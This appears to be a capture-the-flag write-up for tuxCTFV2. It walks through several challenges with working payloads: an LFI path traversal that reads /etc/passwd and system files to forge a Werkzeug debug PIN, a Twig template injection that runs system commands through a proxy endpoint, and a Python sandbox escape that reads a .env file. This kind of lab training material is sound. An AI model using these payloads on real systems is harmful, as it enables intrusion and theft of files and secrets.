tuxCTFV2

TuxGallery

to start the challenge, in a terminal run: docker run -p 8000:8000 h0t0/tuxgallery:latest then go to http://localhost:8000/. at the bottom of the page you can find Visit The Tux Gallery. if you click on any of the buttons on the left you can see the url changing, for example: http://127.0.0.1:8000/gallery?file=img/tux3.jpg it indicates that there is an lfi vulnerability! example payload: http://127.0.0.1:8000/gallery?file=../../../../etc/passwd but the challenge doesnt end here, if we check the website backend tech:

> whatweb http://localhost:8000/
http://localhost:8000/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.3 Python/3.7.17], IP[127.0.0.1], Python[3.7.17], Title[Tux Gallery], Werkzeug[2.2.3]

search for werkzeug vulnerabilities we can find : https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug in hacktricks:

Pin Protected - Path Traversal
In some occasions the 
/console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

we go to http://localhost:8000/console ,indeed its protcted by a pin and we have lfi vulnerability. to get the pin: public bits:

    'root',because its a docker, it runs on root
    'flask.app',#default
    'Flask', #default
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# by python version and searching

private bits: http://127.0.0.1:8000/gallery?file=../../../../proc/sys/kernel/random/boot_id --> machine id http://127.0.0.1:8000/gallery?file=../../../../sys/class/net/eth0/address -->

#Example MAC address: 56:00:02:7a:23:ac
print(0x5600027a23ac)

--> mac address put your values in the script in the site: each pin is different to each user, and on each run it changes, mine was: 891-324-969 the flag was supposed to be tuxCTF{w$g1?_wH4t$_th@t?}, but for bash problems it was changed to tuxCTF{w?_wH4t@t?}


Chatbot

This challenge mocks a 'sofisticated' AI chatbot, so we enter the url and we are greeted by this page:

we enter a username and start chatting with the bot.

we can notice the responses are in json format.

in the page source we find a file called script.js we notice that it gets the message by sending it to an api!

async function requestApi() {
    const port = 3001;
    const path = "random-message";

    try {
        const response = await fetch('/api', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ port: port , path: path})  
        });

so its sending it to another server on port 3001, we can go to /api and try to send a request there.

this is not an ssrf but it acts like one, so we will use it to find if there is anyother server.

we can use burp intruder to brute-force the port:

response:

{"message":"
        <!DOCTYPE html>
        <html>
        <head>
            <title>404 Not Found</title>
        </head>
        <body>
            <h1>404 Not Found</h1>
            <p>The page you requested could not be found.</p>
        </body>
        </html>
"}

we can notice in the original request was sent the path was random-message which indicates that the backend already added the slash for us!

request:

{"port": "8000", "path":""}

response:

{"message":"
            <!DOCTYPE html>
            <html>
            <head>
                <title>Welcome</title>
            </head>
            <body>
                <h1>Hello!</h1>

                <p>To test a Twig template, go to <code>/render?t=your_expression_here</code></p>
                <p>Hint: Some expressions might need to be encoded or obfuscated to work correctly!</p>
                <p>ps: if you are not a memeber of the dev team please close this page.</p>
            </body>
            </html>
        

"}

twig is a template engine for php, in hacktricks we can find alot of payloads to exploit it.

request:

{"port": "8000", "path":"render?t={{['id']|filter('system')}}"}

response:

{"message":"uid=1000(chatbot) gid=1000(chatbot) groups=1000(chatbot)\nArray\n\n"}

to get the flag:

request:

{"port": "8000", "path":"render?t={{['cat flag.txt']|filter('system')}}"}

response:

{"message":"tuxCTF{avG_l@mE_D3V}Array\n\n"}

the flag: tuxCTF{avG_l@mE_D3V}


Terminal 1 & 2

in both you can list the directory usin dir, to solve the first one you will use more or less more flag.txt flag: tuxCTF{LE$S_i$_m0r3} in termianal 2 you can use nl (intended) or tac (not indented) nl flag.txt flag: tuxCTF{n0_n3eD_foR_BIn@r1e5}


Pyjail

to access the challenge you have to use netcat:

pyjails are python sandboxes with restrictions, you have to find a way out to escape and achieve command execution. in python we can access other classes by going back to the root of the object, example payload: ()._class_._bases_[0]._subclasses_() if we enter it in the pyjail and enter exit it will execute.

we get a list of all subclasses accessable, but only one of them is not blocked and useful, which is <class '_frozen_importlib_external.FileLoader'>. to find the subclass index you can use an ai tool do a python script or by sorting them in vim, for me it was number 100, index 99, ()._class_._bases_[0]._subclasses_()[99]

payload to get the flag:

().__class__.__bases__[0].__subclasses__()[99].get_data(".", ".env")

flag: tuxCTF{yOU_woN7_35c@Pe_@g@iN}

Happy Pwning : )

Last updated